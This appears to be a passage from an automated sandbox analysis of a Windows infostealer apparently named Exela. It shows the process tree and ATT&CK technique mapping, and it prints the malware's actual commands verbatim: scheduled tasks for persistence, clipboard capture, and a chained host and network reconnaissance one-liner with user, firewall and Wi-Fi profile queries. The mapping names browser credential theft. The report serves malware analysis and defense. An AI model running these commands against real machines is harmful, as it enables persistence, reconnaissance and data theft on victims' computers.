        schtasks /query /TN "ExelaUpdateService"
        8⤵
        
        PID:2672
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "schtasks /create /f /sc onlogon /rl highest /tn "ExelaUpdateService" /tr "C:\Users\Admin\AppData\Local\ExelaUpdateService\Exela.exe""
        7⤵
        Suspicious use of WriteProcessMemory
        
        PID:1244
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "ExelaUpdateService" /tr "C:\Users\Admin\AppData\Local\ExelaUpdateService\Exela.exe"
        8⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5112
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "schtasks /create /f /sc hourly /mo 1 /rl highest /tn "ExelaUpdateService2" /tr "C:\Users\Admin\AppData\Local\ExelaUpdateService\Exela.exe""
        7⤵
        
        PID:2372
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc hourly /mo 1 /rl highest /tn "ExelaUpdateService2" /tr "C:\Users\Admin\AppData\Local\ExelaUpdateService\Exela.exe"
        8⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3412
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist"
        7⤵
        
        PID:3828
        
        C:\Windows\system32\tasklist.exe
        
        tasklist
        8⤵
        Enumerates processes with tasklist
        
        PID:3012
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "cmd.exe /c chcp"
        7⤵
        
        PID:900
        
        C:\Windows\system32\cmd.exe
        
        cmd.exe /c chcp
        8⤵
        
        PID:2456
        
        C:\Windows\system32\chcp.com
        
        chcp
        9⤵
        
        PID:3376
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "cmd.exe /c chcp"
        7⤵
        
        PID:444
        
        C:\Windows\system32\cmd.exe
        
        cmd.exe /c chcp
        8⤵
        
        PID:856
        
        C:\Windows\system32\chcp.com
        
        chcp
        9⤵
        
        PID:3928
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        7⤵
        
        PID:4372
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        8⤵
        Enumerates processes with tasklist
        
        PID:1400
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard"
        7⤵
        Clipboard Data
        
        PID:1632
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe Get-Clipboard
        8⤵
        Clipboard Data
        Suspicious behavior: EnumeratesProcesses
        
        PID:1864
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config"
        7⤵
        Network Service Discovery
        
        PID:3952
        
        C:\Windows\system32\systeminfo.exe
        
        systeminfo
        8⤵
        Gathers system information
        
        PID:4688
        
        C:\Windows\system32\HOSTNAME.EXE
        
        hostname
        8⤵
        
        PID:5108
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic logicaldisk get caption,description,providername
        8⤵
        Collects information from the system
        
        PID:3488
        
        C:\Windows\system32\net.exe
        
        net user
        8⤵
        
        PID:4712
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user
        9⤵
        
        PID:404
        
        C:\Windows\system32\query.exe
        
        query user
        8⤵
        
        PID:3792
        
        C:\Windows\system32\quser.exe
        
        "C:\Windows\system32\quser.exe"
        9⤵
        
        PID:4348
        
        C:\Windows\system32\net.exe
        
        net localgroup
        8⤵
        
        PID:3452
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup
        9⤵
        
        PID:2564
        
        C:\Windows\system32\net.exe
        
        net localgroup administrators
        8⤵
        
        PID:2996
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup administrators
        9⤵
        
        PID:4460
        
        C:\Windows\system32\net.exe
        
        net user guest
        8⤵
        
        PID:3352
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user guest
        9⤵
        
        PID:3004
        
        C:\Windows\system32\net.exe
        
        net user administrator
        8⤵
        
        PID:4844
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user administrator
        9⤵
        
        PID:4540
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic startup get caption,command
        8⤵
        
        PID:2192
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /svc
        8⤵
        Enumerates processes with tasklist
        
        PID:852
        
        C:\Windows\system32\ipconfig.exe
        
        ipconfig /all
        8⤵
        Gathers network information
        
        PID:5100
        
        C:\Windows\system32\ROUTE.EXE
        
        route print
        8⤵
        
        PID:2908
        
        C:\Windows\system32\ARP.EXE
        
        arp -a
        8⤵
        Network Service Discovery
        
        PID:3768
        
        C:\Windows\system32\NETSTAT.EXE
        
        netstat -ano
        8⤵
        System Network Connections Discovery
        Gathers network information
        
        PID:2200
        
        C:\Windows\system32\sc.exe
        
        sc query type= service state= all
        8⤵
        Launches sc.exe
        
        PID:3584
        
        C:\Windows\system32\netsh.exe
        
        netsh firewall show state
        8⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:3620
        
        C:\Windows\system32\netsh.exe
        
        netsh firewall show config
        8⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:1488
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"
        7⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:996
        
        C:\Windows\system32\netsh.exe
        
        netsh wlan show profiles
        8⤵
        Event Triggered Execution: Netsh Helper DLL
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:3012
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        7⤵
        
        PID:704
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        8⤵
        
        PID:2904
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        7⤵
        
        PID:1612
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        8⤵
        
        PID:1976
    - - C:\Users\Admin\AppData\Local\Temp\WINDOWS COMMAND.EXE
        
        "C:\Users\Admin\AppData\Local\Temp\WINDOWS COMMAND.EXE"
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:376

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Network Service Discovery

T1046

Permission Groups Discovery

T1069

Local Groups

T1069.001

Process Discovery

T1057

Query Registry

T1012

System Information Discovery